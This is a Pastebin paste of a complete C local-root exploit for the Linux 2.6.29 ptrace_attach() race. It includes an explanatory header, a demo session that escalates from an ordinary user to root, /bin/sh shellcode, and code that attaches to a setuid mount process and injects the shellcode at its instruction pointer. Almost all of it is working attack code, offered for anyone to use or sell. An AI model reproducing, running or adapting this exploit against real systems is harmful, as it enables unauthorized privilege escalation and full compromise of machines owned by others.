Advertisement
Guest User

Untitled

a guest
Sep 15th, 2017
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. * GNU/Linux kernel 2.6.29 ptrace_attach() local root race condition exploit.
  3. * ==========================================================================
  4. * This is a local root exploit for the 2.6.29 ptrace_attach() race condition that allows
  5. * a process to gain elevated privileges under certain conditions. The vulnerability is
  6. * caused due to "ptrace_attach()" using an inadequate mutex while synchronizing with
  7. * "execve()". This can be exploited to potentially execute arbitrary code with root
  8. * privileges by attaching to a setuid process. The race is particularly narrow, this
  9. * exploit checks that it has attached to the correct process before attempting to
  10. * inject shellcode which helps reduce false positives and shells being spawned with
  11. * lower privileges.
  12. *
  13. * Ex.
  14. *   matthew@matthew-desktop:~$ id
  15. *   uid=1000(matthew) gid=1000(matthew)   groups=4(adm),20(dialout),24(cdrom),25(floppy),
  16. *   29(audio),30(dip),44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),1000(matthew)
  17. *   matthew@matthew-desktop:~$ uname -a
  18. *   Linux matthew-desktop 2.6.29-020629-generic #020629 SMP Tue Mar 24 12:03:21 UTC 2009 i686 GNU/Linux
  19. *   matthew@matthew-desktop:~$ while `/bin/true/`;do ./shoryuken;done
  20. *   [... much scroll removed, go make coffee, get a job, do something while running ...]
  21. *   /dev/sda1 on / type ext3 (rw,relatime,errors=remount-ro)
  22. *   proc on /proc type proc (rw,noexec,nosuid,nodev)
  23. *   /sys on /sys type sysfs (rw,noexec,nosuid,nodev)
  24. *   varrun on /var/run type tmpfs (rw,noexec,nosuid,nodev,mode=0755)
  25. *   varlock on /var/lock type tmpfs (rw,noexec,nosuid,nodev,mode=1777)
  26. *   udev on /dev type tmpfs (rw,mode=0755)
  27. *   devshm on /dev/shm type tmpfs (rw)
  28. *   devpts on /dev/pts type devpts (rw,gid=5,mode=620)
  29. *   securityfs on /sys/kernel/security type securityfs (rw)
  30. *   gvfs-fuse-daemon on /home/matthew/.gvfs type fuse.gvfs-fuse-daemon (rw,nosuid,nodev,user=matthew)
  31. *   [ WIN! 18281
  32. *   [ Overwritten 0xb8097430
  33. *   # id
  34. *   uid=0(root) gid=1000(matthew) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),
  35. *   44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),1000(matthew)
  36. *   #
  37. *  Please note this exploit is released to you under fuqHAK5 licence agreement, you may use
  38. *  this exploit, sell it, recode it, rip the header and claim it as your own on the condition
  39. *  that you are not a fan of the hak5 tv "hacking" show.
  40. *   -- prdelka
  41. */
  42. #include <sys/ptrace.h>
  43. #include <sys/types.h>
  44. #include <sys/wait.h>
  45. #include <unistd.h>
  46. #include <linux/user.h>
  47. #include <stdio.h>
  48. #include <fcntl.h>
  49.  
  50. char shellcode[]=
  51.                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  52.                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  53.                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  54.                  "\x90"
  55.                  "\x6a\x23\x58\x31"
  56.                  "\xdb\xcd\x80"
  57.                  "\x31\xdb\x8d\x43\x17\xcd\x80\x31\xc0"
  58.                  "\x50\x68""//sh""\x68""/bin""\x89\xe3\x50"
  59.                  "\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
  60.  
  61. int main() {
  62.     pid_t child;
  63.     int eip, i = 0;
  64.     struct user_regs_struct regs;
  65.     char *argv[] = {"mount",0};
  66.     char *envp[] = {"",0};
  67.     child = fork();
  68.     if(child == 0) {
  69.     execve("/bin/mount",argv,envp);
  70.     } else {
  71.         if(ptrace(PTRACE_ATTACH, child, NULL, NULL) == 0) {
  72.                 char buf[256];
  73.                 sprintf(buf, "/proc/%d/cmdline", child);
  74.                 int fd = open(buf, O_RDONLY);
  75.                 read(fd, buf, 2);
  76.                 close(fd);
  77.                 if(buf[0] == 'm') {
  78.                         printf("[ WIN! %d\n", child);
  79.                         fflush(stdout);
  80.                         ptrace(PTRACE_GETREGS, child, NULL, &regs);
  81.                         eip = regs.eip;
  82.                         while (i < strlen(shellcode)) {
  83.                        ptrace(PTRACE_POKETEXT, child, eip, (int) *(int *) (shellcode + i));
  84.                        i += 4;
  85.                        eip += 4;
  86.                        }
  87.                        printf("[ Overwritten 0x%x\n",regs.eip);
  88.                        ptrace(PTRACE_SETREGS, child, NULL, &regs);
  89.                        ptrace(PTRACE_DETACH, child, NULL,NULL);
  90.                        usleep(1);
  91.                        wait(0);
  92.                }
  93.            }
  94.    }
  95.    return 0;
  96. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement